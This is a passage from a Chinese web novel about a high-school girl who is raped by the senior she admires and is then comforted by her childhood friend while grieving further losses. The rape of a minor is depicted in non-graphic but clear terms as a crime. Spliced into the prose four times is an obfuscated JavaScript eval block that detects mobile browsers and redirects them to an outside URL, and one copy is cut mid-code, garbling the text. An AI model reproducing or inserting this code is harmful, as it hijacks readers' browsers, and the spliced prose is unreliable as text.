那天,霍盛源说他有事,让她别去找他。 他会有什么事呢?是老师要留他,还是别的? 艾嘉看着桌肚里放着的保温杯,心里不是滋味。 这保温杯的盒子里,不只有保温杯,还有一张她特意挑选的粉色便笺纸,上面写着: 十七岁时,我想抓住一个少年。 这个少年,是你?(^_-) 本来后面还有赤裸裸的告白:学长,我喜欢你! 后来想想,还是删了。 光写告白便签,艾嘉就废了几十张,写了无数的告白话语,最后才选了这个。 用颜文字收尾,向喜欢的少年发射爱心,任谁看了都知道,这是明目张胆的告白。 …… 下了晚自习,艾嘉没走,教室里只剩下她一个人,她抱着保温杯,想着还是要给霍盛源送过去。 她刚想把保温杯放进书包里,突然身后传来玩世不恭的声音:“小嘉同学,你偷偷摸摸地藏什么,给迟哥看看。” 艾嘉把保温杯塞进书包,侧头斜看迟予辰,神秘道:“我要去干一件惊天动地的事。” “跟迟哥说说,是什么?”迟予辰坐到她后面的那张桌上,模样懒散地看她。 “你真是灶王爷扫院子。”艾嘉拉上书包拉链,“多管闲事!” “灶王爷就想扫院子!”迟予辰方才看到她塞进书包里的保温杯了,一挑眉,“保温杯送谁呢?” “你不是自诩天下无敌盖世无双吗,这都不知道?”艾嘉朝他翻了个白眼。 “送给那个你的什么霍学长?”迟予辰眯了眯眼。 “对啊。” “我说,小嘉同学,你喜欢谁不好,非要喜欢他。” “他怎么了?”艾嘉眼里放光,“他在我心里,天下无敌,所向披靡。” “狗/屁!”迟予辰极为不屑地撇嘴,“你那是情人眼里出耗子!” “你才是耗子!”艾嘉从桌上顺手操起一本书就朝迟予辰的脑门上拍去。 迟予辰及时避开,脸皱成酸橘皮:“小嘉同学,别怪我没提醒你,喜欢他,没好事。” “怎么没好事?”艾嘉的成绩在班里提升了五名,得益于霍盛源的用心辅导。 “你只要长点心就能知道,还用我说吗?” “你不说就算了。”艾嘉站起来,“我要走了。” “等下。”迟予辰拽住她的胳膊,从校服口袋里拿出一个包装精美的绿色盒子,上面用红色丝带打了个蝴蝶结,很好看,“小嘉同学,圣诞快乐!” “哎哟,又做圣诞老人啦。”艾嘉没记错的话,他这竹马从五年级开始,到现在,已经扮演了五年的圣诞老人来给她送礼物了,这是第六年了,年年还不重样。 艾嘉接过盒子,终于笑了:“谢啦!” “我的呢?” “来,抱一个。”艾嘉伸手抱住了迟予辰。 “敷衍!”迟予辰不屑。 “那算了。”艾嘉刚想收手,却发现被迟予辰抱紧了,听到他在她的耳边说:“抱一个怎么行,要抱两下、三下、四下……” “好了好了,你什么时候变得这么肉麻。”艾嘉感觉到耳边的热意,有些烫,让她有点不自在。 艾嘉弯腰,从他的臂弯里钻了出来,笑着跟迟予辰说:“迟予辰,圣诞快乐!” 她去找她的学长了,高三在六楼,她往六楼走去,走廊上黑漆漆的。 借着月光,艾嘉往高三1班的教室走去。 高三1班在走廊的尽头,艾嘉踩着轻快的步子走着。 她一遍遍地告诉自己,不管告白成不成功,总不会留有遗憾。 可她刚走到高三2班门口,便听到从高三1班教室里传来说话声:“霍盛源,你不能这样了。” “不能怎样?”熟悉的男声,“这样吗?” 艾嘉听到了里面传来桌椅被撞响的声音,心下一惊,发生了什么? 她小心翼翼地迈着步子往前走去,教室的门关着,她没敢推开门,蹲下身,沿着墙壁走,再贴墙,悄悄探出一点脑袋。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978293|161451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艾嘉看到在教室的最后一排,霍盛源正在亲一个女生,女生挣扎着。 女生扎着高高的马尾辫,艾嘉仔细一看,是温姗。 艾嘉惊得愣住了,目光直直地望着窗前的两个人影。 这是她心目中的学长吗? 她心目中的学长温文儒雅,不笑的时候温柔,笑的时候温柔得不像话。 他是天上的一轮明月,皎洁又明亮。 他怎么会做这种事? 明显温姗不乐意。 他什么时候喜欢上温姗的?为什么她没有看出一点端倪? 她真是个傻瓜! 艾嘉靠到墙上,身体越发无力,心沉入谷底。 趁着圣诞节,跟她暗恋的学长告白,此时成了一个笑话。 是不是迟予辰知道点什么,要不然他刚才为什么要提醒她“喜欢他,没好事”。 为什么迟予辰不跟她挑明情况? 月光很亮,月色投映在她身前,她却觉得陷在一片巨大的黑暗里。 八个月的暗恋,碎了。 在现实面前,不堪一击。 她以为平静的日子,会因为霍盛源而闪亮,却都是她一个人的想象。 她曾想过,有一天,能不能成为学长的小朋友,在只有他俩的教室里偷偷牵手,如今,她的暗恋走到了尽头。 艾嘉正想拔腿就跑,但听到开门的声音,是温姗。 她吓得不敢动,生怕被人发现她是偷窥者。 温姗跑得很快,飞一样地疾驰而去。 直到她拐进了楼梯,脚步声越来越远,艾嘉才往前走,经过窗户,她不敢往里看。 她不知道霍盛源有没有看到她,但这不重要,她只想快速逃离此地。 走到门前,艾嘉却感到有人拽住她,她愣住,抬头去看,撞进了霍盛源的眼眸。 那双眼眸还是那么温柔,眼睛里洒满温和月光,似流淌着银河。 只是,这样的温柔,不属于她。 她不该有一丁点儿的奢望。 “学长,我要……”后面的两个字还没说完,艾嘉便被拽进了教室,门在她身后被关上,还被反锁上。 艾嘉不明白霍盛源为什么要这么做:“学长,为什么要锁门?” 霍盛源没有回答她,而是轻轻地帮她擦脸颊上的眼泪:“学妹,你怎么哭了?学长看了,心疼!” 艾嘉一把打掉他的手:“别碰我!” “你不是想来找我吗?”霍盛源笑起来,“学长现在有空了。” 艾嘉觉得他的笑容为什么不似往日温柔,反而透出些许诡异。 “学长,你的有事,就是跟别的女生卿卿我我?”艾嘉忍住内心巨大的悲痛,稍稍仰头,把要落下来的眼泪憋了回去。 “嫉妒了?”霍盛源抬手要去摸她的红通通的眼角,却被艾嘉一把推开:“我说了,别碰我!” “学妹,你不是喜欢我吗?” “是,我喜欢你,那是以前。”艾嘉的声音有些发哑,“从现在开始,我不喜欢你了!” “学妹,你不喜欢我没关系。”霍盛源一把搂住艾嘉,胡乱地亲起来,“我来喜欢你就行!” “你……”艾嘉的所有呼吸都被他夺去,“滚”字也被他吞没。 9. 圣诞礼物 艾嘉从来没想过有一天,自己喜欢的少年,竟然是个用下ban/身思考的原始动物! 她想推开他,想呼喊,但她的嘴里很快被一个东西塞住,双手也被制住。 她第一次知道,原来霍盛源的力气这么大,她在他面前的所有挣扎和抵抗,不过是蚍蜉撼树。 他想做什么? 艾嘉心头升起不好的预感,难道他刚才在温姗那儿没有得到解决,这是要在她这里去做他想做的事? “不要,不要……”艾嘉无助地呼喊。 但所有的声音都淹没在厚重的布里,只发出些微呜呜呜的声音。 她被霍盛源拖到他的桌子旁。 这是她来过无数次的地方,靠墙,第四排。 只要他有时间,她都会过来找他,他会非常有耐心地教她数学题、物理题、化学题。 她的理科不好,而他的理科是强项。 他每次给她讲题时,她都会觉得她看上的少年好优秀。 在高二要分文理科时,老师建议她选文科,她也知道自己的文科比理科好很多,但因为霍盛源,她选择了理科。 父母那儿没什么好说的,他们都希望她选理科,说选文科没前途,以后找工作难找,但学理科不同,工作机会多。 艾嘉很顺利地选择了理科,她跟霍盛源之间的补习时间没有断,还跟从前一样。 在日复一日的补习中,她对他的喜欢越来越深,深到每晚睡前都会去翻看他的朋友圈,看他发了什么。 但他的朋友圈是荒原,什么都没有。 她在期待和失落间来回转换,但所有的酸涩情愫,都会在见到他的那一刻烟消云散。 她在他的身上注入了无数美好的想象,少年气是霍盛源,美好是霍盛源,所向披靡是霍盛源。 原来,如此种种的霍盛源,都是她做的一场幻梦。 眼前的霍盛源,她不认识,觉得格外陌生,陌生到让她害怕、恐惧。 他胡乱地在她脸上疯狂亲吻,她用没有被绑住的脚想去踢他。 霍盛源闪开,拦腰把她抱上他的课桌,开始了他的暴li行为。 艾嘉下意识地想用手去阻止他,但她的双手被绑在身后,她什么都做不了。 她欲哭无泪,只能发出呜呜呜的声音。 但不管呜呜呜的声音持续多久、有多无助、有多绝望,她面前的男生都无动于衷。 他变身黑暗中青面獠牙的厉鬼,将她牢牢制服,对她失控地掠/duo。 他给她致命的疼痛,是她从未体会过的痛,蹿至每根血管、每颗细胞。 从始至终,她都没看他一眼,但眼睛睁着,睁得大大的。 看着墙上的影子,jiao缠的、疯狂的、失控的影子。 她第一次经历这样的事,羞耻、疼痛、绝望,各种复杂的情绪,一层层地将她裹挟。 密密麻麻,仿佛在她的心脏上裹了密不透风的丝线。 她快无法呼吸了。 她好像被架在烤架上,浑身都被炽热地烤着。 她被烤坏了。 谁能来救救她? 只是,没人进来……没人来救她…… 从此,她不完整了。 她……破碎了。 她是被打碎的镜子,拼不出最初的样子。 …… 艾嘉不记得当晚是怎么回去的,头顶的月亮那么亮,照着一个行尸走肉般骑自行车的少女。 她在无人的街道上骑了一圈又一圈,这次没有绕远路,没有再去樱花街,只是不想回家。 她的身体不再是她的身体,是散了架的架子,支离破碎地散在阴暗的角落。 有什么东西,回不来了。 回不到她的身体里了。 身体很疼,每一处好像都是疼的。 她没有哭,一滴眼泪都没有掉。 她变得麻木,觉得不真实。 像做了一场噩梦。 不过,她身体的疼痛,不停地提醒她:那不是梦! 她是游荡在空旷街头的游魂,那些高楼里亮着的灯,没有一盏属于她。 艾嘉那晚回去,不知道几点,家人睡着了,没人发现异样的她。 她把书包甩到地上,关上门,没开灯,身体靠在门上,瘫软地往下滑,像枯萎的软藤,没有一点生机。 也不知道呆坐了多久,她终于打开灯,拉开书包,从里面拿出保温杯的盒子,先拿出保温杯,再拿出那张粉色便笺纸。 十七岁时,我想抓住一个少年。 这个少年,是你?(^_-) 上面的每个字明明都很正常,为什么她从字缝里看到了青面獠牙的厉鬼,这厉鬼要索了她的命! 艾嘉惊恐地望着字上的厉鬼,厉鬼从一个变成无数个,伸出手,似乎要扼住她的咽喉。 她吓得连忙扔掉便笺纸,心脏猛烈跳动。 那些在教室里jiao缠的、疯狂的、失控的影子一遍遍在她脑中播放,她想挥去,无济于事。 艾嘉愤怒地拿起地上的便笺纸,用力撕掉,撕得粉碎。 良久,她从书包里拿出那个包装精美的圣诞礼盒,像个没有感情的木偶人。 艾嘉解开上面的红绸带,放到一旁,又打开盒盖,看到里面放了一颗颗彩色的糖果,圣诞树、圣诞老人、红白拐杖、雪人,还有一颗超大的甜橙状糖果,甜橙在里面显得格格不入,但艾嘉的心里却涌上一波酸涩。 这些糖果,跟她在商店橱窗里看到的都不一样,真是丑得要命,不知道迟予辰从哪儿买来的。 售卖这种糖果的店铺,估计离关门大吉不远了。 甜橙上画了个笑脸,上面用还写了3个白色的英文字母:CLJ。 C,这是什么意思?迟予辰的首字拼音缩写? 送个礼物,还要刻上名字,真是时刻要刷一刷存在感。 LJ是什么意思?艾嘉猜不到,也许C并不是迟予辰的拼音缩写。 他在跟自己玩一场怎样的捉迷藏游戏? 艾嘉扯了扯嘴角,扯出一抹苦笑,这样的人是怎么能当糕点师的? 她需要吃点什么,来激活自己已经麻木的身心。 艾嘉剥开甜橙糖果上的透明糖衣,发现糖衣上竟然还有白字,小小的一行,在糖衣的最下面,不仔细看,不会被发现。 那行字是:XJTX,要不要把迟哥挂你心上? 这是迟予辰那家伙的字,写得潇洒,好看的行楷。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978294|161451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> XJTX,艾嘉一下子便猜出来是什么意思,小嘉同学。 她这个竹马,叫她“小嘉同学”叫了11年,从她入小学一年级起,她就从他口中的“小嘉”变成了“小嘉同学”。 艾嘉开始吃甜橙糖果,是软糖,咬一口,甜滋滋的。 她一口一口吃着甜橙糖果,直到嘴巴里塞得满满当当,一口都没嚼,都堆在嘴巴里。 糖霜一点点在她唇齿间化开,甜蜜四处蔓延。 明明这么甜,她怎么觉得好苦、好酸。 这苦、这酸,遍布她的四肢百骸。 又渐渐变成痛,心口像被人狠狠地剜了下,剜出一个大大的洞,四面的冷风哗啦啦钻进来。 她的每根血管都流动着无法言说的痛。 她的灵魂正在无尽的黑暗里剧烈颤栗。 她的心里再也开不出芬芳馥郁的樱花。 她咬到了CG,好像有点甜。 她终于松开嘴里的糖,静静地望着被自己咬得不成样的甜橙糖果。 她对着甜橙糖果说:“迟哥,我一直都把你挂在心上啊!” 艾嘉没发现,她说这话时,不再是麻木的木偶人。 她嘴角微微上扬,眉眼含着柔情,只是,她的脸上,不知何时,已布满泪水。 …… 艾嘉的睡眠一直都很好,因为她睡前都要跟她的学长说“晚安”,她的学长也会跟她说“晚安”。 那晚,是艾嘉第一次没有跟她的学长说“晚安”,也是第一次没有去翻他的朋友圈。 她躺在床上,一闭上眼睛,那些墙上的黑影,长了脚似的,钻进她身体的每个地方。 她只能睁着眼,直到再也睁不开,直到困得失去意识。 往日的周六,艾嘉会特意不定闹钟,让自己睡到自然醒,常常八点多醒来。 但那天,她醒来时,眼睛很疼。 艾嘉走到窗前,看到窗外天刚刚拂晓。 她迷迷糊糊地走出房间,很渴,想喝水,下意识地喊了声“妈”。 随之响起的是一个男声:“小嘉,你妈不在了。” 艾嘉猛然惊醒,对啊,她妈不在了。 妈妈是不在了吗? 艾嘉愣住,想了想,去年五月份,她跟妈妈一起去外婆家,三十年没地震的小山村,忽然来了场六级地震,村里建的房子纷纷倒塌,外婆家的也不例外。 她外婆、她妈妈被埋在了残垣断壁下。 她被她妈妈护在身下,她一点事也没有。 但来救她的那个男生,因为余震,被残破的墙体砸伤,听说他的一条腿被砸断了。 艾嘉去救援队打听这个男生的信息,但救援队的人告诉她,对方不愿意透露自己的信息,他希望她能好好活下去。 那段时间,艾嘉常常对着日落发呆,常常思考活着的意义。 天空明明悬着太阳,但她的世界怎么那么黑呢? 人生像瞬间掉入巨大的黑洞,无时无刻地将她吞噬。 外婆和妈妈的葬礼她都没去参加,她没有去看她们最后一面,也没有去送她们最后一程。 爸爸说她不孝,说外婆和她妈妈生前最爱她,她这个没良心的。 她是没良心吗? 10. 伺候公主殿下 外婆和妈妈生前最爱她,她也最爱外婆和妈妈。 正是因为太爱了,她不敢去看她们残破的身体,她想记住她们最美的样子,永远笑着的样子。 想记住外婆跟她说:“小嘉,要常回来看外婆啊。”的样子。 想记住妈妈跟她说:“小嘉,你现在长身体呢,多吃点。”的样子。 她亲手把她们的骨灰盒放进了墓地,那片墓地选在了外婆家的小山村,在外婆家的田里。 外婆的墓地跟妈妈的墓地挨着。 送葬的人都走了,最后只剩下艾嘉一个人。 她在她俩的墓地前跪了很久,跪到腿都麻了也没起来。 她什么都不说,只是不停地往两人的墓地上用手挖土,再放在墓碑前。 她的手心里是泥,指甲缝里也全是泥,挖得手指疼了,也浑然不觉。 晚霞逃进云层,黑夜即将降临,艾嘉才拍了拍手中的泥土,想站起来,腿太麻,她用手撑着泥地才摇摇晃晃地站了起来。 临走前,艾嘉看了看外婆的墓碑,又看了看妈妈的墓碑,声音喑哑:“外婆、妈妈,你们在那儿很冷吧,我给你们多放点土,就不冷了。” 无人的长山坡,没有月亮没有星。 瘦弱的小姑娘,走得踉踉跄跄。 天空下起了雨,她的眼睛也下起了雨,一场停不下来的瓢泼大雨。 有些事不去做,不代表不在乎;有些事去做了,不代表在乎。 艾爸送葬时,次次都哭得最大声,其他人人前人后都夸他是大孝子、爱妻子。 只有艾嘉知道,她爸爸哪有那么多眼泪,他随身会带眼药水,哭不出来了就滴上几滴。 她不能说爸爸的眼泪都是假的,但一定不全是真的。 …… 黑暗中,跟她说话的人是爸爸,他正在厨房里倒水,咕噜咕噜喝了几大口才走出来。 艾嘉跟爸爸错身而过,爸爸再没跟她说一句话,她径自去了厨房喝水,喝的都是冷水,凉到肺腑。 她眼睛疼,大脑也在嗡嗡作响,像有无数只虫子在啃噬着。 很困,也很难受,她需要睡眠,但不想再躺到床上,不想再闭上眼睛。 艾嘉从衣橱上找了一套自己最喜欢的粉色珊瑚绒睡衣,走到卫生间,打开灯,无意间瞥见镜子里的自己。 不过一晚,她像变了个人。 眼睛又肿又红,下方有一圈浓重的黑眼圈,皮肤苍白,嘴巴干裂,有破损的痕迹,整个人看起来极为落魄、无神。 她觉得自己像一缕没有躯壳的游魂,只是飘荡在人间。 艾嘉格外缓慢地一件一件地脱衣服,从毛衣到保暖内衣再到贴身衣物。 起初,她闭着眼睛,不敢去看自己的身体,当睁眼看到镜子里的自己时,彻底被惊到。 脖子、锁骨、上身,几乎每处都有红色的痕迹。 再往下看,大腿、小腿、脚踝也全是痕迹。 有的地方,破损了,还留有残血。 她的皮肤本就白,那些红痕在白色上显得格外清晰,像烙铁般,烙得她的心一阵阵紧缩、一阵阵发疼。 这还是她的身体吗? 她惶恐地望着自己,那个她引以为傲的身体,好像不再是她的了。 艾嘉赤脚,一步一步地往淋浴下走,更准确地说,应该是一步一步往淋浴下挪。 她的脚不是她的脚,挪的每一步,都无比艰难。 好不容易挪到淋浴头下,她开了冷水,水流溅到她身体的瞬间,她本能地哆嗦了下,但很快适应了。 这是寒冷冬季,温度本就低,就是在温水下洗澡都冷,何况用冷水洗澡。 但艾嘉却对此毫无反应,她只是让冷水不断地冲刷自己的身体,又用搓澡巾不断地搓身体,搓那些几乎遍布身体的红痕。 她把红痕搓得更红了。 搓疼了,她还没收手,有的地方被搓得冒出血,混着冷水,一起被冲走。 直到搓不动了,艾嘉才把搓澡巾放好。 但她方才好像用光了所有的力气,此刻,身体像一块瘫软的布,沿着布满水珠的瓷砖往下滑,一直滑,直到倚靠着瓷砖蹲着。 她双手抱住膝盖,把头埋进去,把自己缩成一个小小的球。 她的肩膀越来越抖,有什么温热的液体掉落在瓷砖地上。 啪嗒啪嗒掉落的,到底是冷水还是泪水,已经分不清了。 洗完澡,艾嘉穿上她最爱的粉色珊瑚绒睡衣,钻进了被子,想睡个回笼觉。 她以为穿着最爱的睡衣,窝进被子里,就可以安然睡去,就可以不去想那件让自己痛苦的事。 只要她再次醒来,她身上的红痕都会消失,曾经发生过的,不过是场梦。 睡是睡着了,但再次醒来时,头疼得不行,抬手一摸额头,发烧了,温度好像还不低。 艾嘉没有力气起床,也不想起床,就这样让她沉睡不醒,好像也挺好。 * 艾嘉再次醒来,是被人摇醒的。 她感到额头上凉凉的,是什么? 艾嘉缓缓地费力地睁开眼睛,看到窗边趴着一个人,是迟予辰。 他什么时候来的? 她摸了摸额头,贴了退烧贴。 她的身体还是烫,脑袋也有些晕晕乎乎,口干舌燥,想喝水,但手边一杯水都没有。 艾嘉掀开被子刚想下床,迟予辰就醒了。 迟予辰连忙把她按到床上,给她盖上被子,言语不再玩世不恭,而是充满关切:“小嘉同学,好好待着,别动。” “我要喝水。”艾嘉重新躺下。 迟予辰望着她干裂破掉的嘴巴,心里不是滋味,转身去厨房给她倒了杯温水,扶着她坐起来。 艾嘉想拿杯子,却被迟予辰止住,听到他用哄小孩的声音说:“小嘉同学乖,张嘴,迟哥喂你。” 换做平时,艾嘉肯定要怼他几句,像什么“谁要你喂,恶不恶心”。 但现在,许是她身心都病了,怎么听他这话,觉得特别温暖。 她乖乖张嘴,让他喂自己喝。 喂的每一口,不多不少。 艾嘉喝完,努力装作什么事都没发生的样子,挤出一抹笑:“迟予辰,你什么时候来的?今天不是上课吗。” 高三跟高二不同,周六日不放假。 “请假呗。”迟予辰把水杯放到一旁的书桌上,不在意道。 “你不是从不舍得请假的吗。”艾嘉靠到床背上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978295|161451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你是谁啊,是我生命中最重要的小青梅,你生病了,我能视而不见见死不救吗。”迟予辰夸大其词道。 “切。”艾嘉见到跟她贫嘴的迟予辰,死灰般的心,好像在一点点悄悄复燃,“你怎么知道我生病的?” “给你发信息、打电话你都不接,就来敲你家门,看看你是不是在睡懒觉,这大好的天,最适合早起学习。”迟予辰说,“你爸开门的,他着急着要去上班,我就擅自主张推开了你的房间门,来到了你的闺房,发现你睡得像个沉睡公主,还是一睡要睡几十年的那种。” 艾嘉暗想:如果她真能做个沉睡公主,一睡能睡几十年,那也挺好啊。 迟予辰继续说:“我怎么喊你你都不醒,怎么推你你也不理,就看你是不是病了,一摸你额头,呀,贼烫。作为你十七年的竹马,怎么能弃你不顾呢,就请假来伺候你了。” “小迟子,你得好好伺候公主。”艾嘉终于露出一抹笑。 迟予辰做出作揖状:“遵命,我的公主殿下。” 艾嘉的笑容更甚了,跟他说:“迟予辰,昨天你送我的糖果,我吃了,很甜。就是……你从哪儿买的啊,样子真是丑得太抽象了。” “小嘉同学,不是我说,你怎么老是没大没小的,叫迟哥!”迟予辰抗议,“那糖果,是你迟哥本人亲手做的,什么丑得太抽象了,明明是丑得很有特色,丑得无与伦比!” “你怎么好意思送出手的!”艾嘉笑了,心里涌过阵阵暖流,流过内心铸造的冰墙,冰墙有融化的迹象。 “长什么样重要吗?”迟予辰把她的手放到他心脏的位置,“感受到了吗,迟哥是用心做的,丑也是丑得很真心。” 手掌下的那颗心脏剧烈跳动着,怦怦怦,越跳越快。 那么强有力的心脏,一定很温热,也一定很善良。 艾嘉的手只在他的心脏上贴了几秒,很快收回手,像触到什么不该碰的东西。 艾嘉想到了甜橙糖果上不明所以的字母,问迟予辰:“你在甜橙糖果上写的CLJ是什么意思?” “没什么意思,就随意发挥的。”迟予辰挑了挑一边的眉头,有些桀骜的味道,“画点字母,你不觉得逼格都变高了吗。” “你什么时候喜欢装了?” “世界飞扬,想装就装!” 那天,迟予辰当起了艾嘉的贴身管家,包了她的午餐、晚餐,虽然做的口味并不太理想;给她倒水喂药,像喂孩子;到点了让她睡觉,他哪儿都没去,就坐在她窗边,好好守着。 迟予辰实现了承诺,好好地伺候着他的公主殿下。 迟予辰又请了一天假,哪儿都没去,依旧守候着他的公主殿下。 第二天,迟予辰又请了一天假,哪儿都没去,依旧守候着他的公主殿下。 艾嘉说没必要,她能照顾好自己。 迟予辰像得了“照顾青梅”上瘾症,非要陪她。 其实,周六那天,迟予辰就看到了她脖子上的红痕,问她是什么,她说是过敏,他还特意去给她买了过敏药,轻轻地给她抹。 明明他下手都那么轻了,而且过敏也不疼吧。 迟予辰不明白,为什么这位公主殿下如此娇贵,竟然哭了,哭得还那么悲伤、那么无助。 11. 天塌了 艾嘉的高烧,在迟予辰的精心照料下彻底退了,但迎来了持续的咳嗽。 上课咳嗽时,她觉得别人都在看她,看得她分外不舒服。 之前她没有这样的感受,为什么现在她觉得所有人都好像窥探到了她身上隐藏的秘密。 她很讨厌一遍遍地咳嗽,擅自加大了药量,但咳嗽并没有好转。 迟予辰不知道什么时候变得那么贴心,还给她亲手熬制了冰糖梨汤,说是他家的祖传秘方,让她每天喝三次,连喝三天,保管药到病除。 艾嘉不知道是不是梨汤起了作用,她喝了三天,不咳嗽了。 * 这几天,艾嘉没有再去找霍盛源,也不再每晚去翻他的朋友圈,不再跟他说“晚安”,她把有关霍盛源的所有联系方式都删了,删了个精光。 此后,她的世界,再无霍盛源。 幸好,霍盛源也没有来找她。 就当那件事没发生过吧,还有一天就要元旦了,崭新的一年,总要有崭新的人生。 过去的就让它过去,一直活在荆棘地里,拿不到命运的箭,打不中未来的靶心。 12月31日凌晨十二点,窗外此起彼伏地放着烟火,艾嘉给好朋友千雪发了一条新年祝福: 阿雪,新年快乐!小嘉同学祝你在新的一年里,走在太阳下,好好爱自己! 谁都觉得千雪患病后跟没患病一个样,但只有艾嘉知道,她只是表现得跟往常一样。 多少个夜晚,千雪来到她家,在她的房间里,跟她躺一张床上,盖一床被子,跟她说:“小嘉,我觉得我的身体越来越差了,有时候,我感觉自己好像快要死了。” “小嘉,你说我走在太阳下,为什么看不到光了?” “小嘉,活着有什么意义呢?之前,每天过两点一线的生活,现在我每天要过三点一线的生活,我很不喜欢医院里的消毒水味,我也不喜欢被医生检查。如果生活不是自己喜欢的了,为什么还要活着?” 彼时,艾嘉常常开导她:“阿雪,只要你好好治疗,你的身体会越来越好。” “阿雪,我陪你走在太阳下,也愿意陪你走进阴影里。但我希望,你在阴影里待的时间不要长,短暂地待待就好了。” “阿雪,天会黑,但天总会亮的。你朝着光亮的地方走,一直走,一直走,就能走到天明。” “阿雪,活着有什么意义,我也不太清楚,但活着本身不就很有意义吗。” “彷徨有意义,跌倒有意义,生病有意义,甚至连虚掷时光都有意义。活一天,就有一天存在的意义。只要还有心跳,生命的意义就不会停止。” 艾嘉给千雪发完短信,对着烟火许愿,希望新的一年,做一枚子弹,精准地射中梦想。 在那个梦想里,不再有什么霍学长,有千雪,有学习,有大学,有她梦想着的美好未来。 然而,新年愿望在元旦那天就落空了。 …… 那天傍晚,艾嘉去客厅拿放在茶几上的水杯。 她刚想离开客厅,听到爸爸叫住她,指着电视里说:“小嘉,这个是不是你的同学?” 艾嘉顿住,看向电视,正在播一则新闻,主播后来说了什么,她一个字都没听进去,只记得她说,去万守山的一个女生和一个男生,死于雪山。 虽然打着马赛克,艾嘉还是认出来了,女生不是别人,正是她的好朋友千雪,她被担架抬着,面色发紫。 另一个男生穿了一身黑,头上戴着白色卫衣帽子,脸部轮廓那么眼熟,是她做梦也不会忘记的,是去年五月份救她的那个男生吗?她看到了他右腿上的假肢。 是,是他没错。 他死了! 他跟她最好的朋友都死了! 一股巨大的悲痛袭来,艾嘉的心脏一阵阵疼。 她捂着胸口,难受得快无法呼吸。 她还没来得及当面跟他说一声“谢谢”。 她还没来得及当面跟千雪说一声“新年快乐”。 这就是命运送给她的新年礼物吗? 艾嘉无力地瘫坐到沙发上,木木地望着电视。 “可惜了啊,还这么年轻。”艾爸摇了摇头,开始在茶几上摆弄他的茶具。 艾嘉哭了,从低声啜泣,到放声痛哭,哭得旁若无人。 她听到爸爸在一旁说:“你外婆、你妈死的时候,没见你哭得这么伤心,不过就是同学,还哭这么伤心,没良心的!” …… 元旦那天,艾嘉把自己关在房间里,原本跟迟予辰约好晚上一起去看花灯,灯是看不成了,人也不想见了。 迟予辰敲她的房门敲了无数下,她没开,戴着耳机就当听不见。 他实在吵得厉害,艾嘉终于受不了了,摘了耳机,开了门,特别不爽地跟他说:“迟予辰,你给我滚!” 迟予辰不敲门了,让他滚他就滚吗,并没有。 他闪身进了房间,看着眼睛红得像兔子的艾嘉:“小嘉同学,新年快乐啊!” 他变魔法般,从身后拎了个纸袋,递到艾嘉面前:“送你的。” 艾嘉实在没心情说感谢的话,象征性地拿了礼物,看也没看一眼,直接放到了一旁的书桌上:“礼物我收了,你可以走了吗?我想一个人静静。” “好,迟哥要走了。”迟予辰双手搭在她肩上,低头看着她红通通的眼睛,“小嘉同学,迟哥希望新的一年,你不用那么勇敢,偶尔向生活低下头也没关系,天塌下来,迟哥替你扛!希望新的一年,你的笑容能多一些。你知道吗,你笑起来像一颗橙子,贼好看。” 艾嘉知道,迟予辰这是在安慰自己,她难得地主动向他迈过去一步,伸手抱住他:“谢谢迟哥,新年快乐!” 迟予辰把她抱在怀里,抚摸着她柔软的头发:“迟哥知道你难受,要是需要人陪了,就给迟哥打电话,迟哥保证火速飞来!” 艾嘉笑了,抬头看他:“迟予辰,你以为你是火箭啊,还火速飞来。” “怎么又叫我迟予辰了,叫迟哥。” “迟哥!” “欸。”迟予辰的嘴角浮现笑意,又把她抱怀里,“以后迟哥保护你!” 大概习惯了迟予 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978296|161451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辰的存在,艾嘉从来没发现她这个竹马竟然这么贴心。 他是什么时候从那个顽劣的毛头小子变成了现在会照顾人的邻家迟哥呢? 迟予辰在的时候,她的世界多了一抹色彩。 艾嘉坐到书桌前,从迟予辰送她的纸袋里拿出礼物。 里面是一个精美的礼盒,粉色的。 她打开盒子,拿出礼物,是一个粉色的水晶球。 水晶球底座上是一匹白马拉着一个南瓜马车,周围有一粒粒糖霜似的白点做点缀。 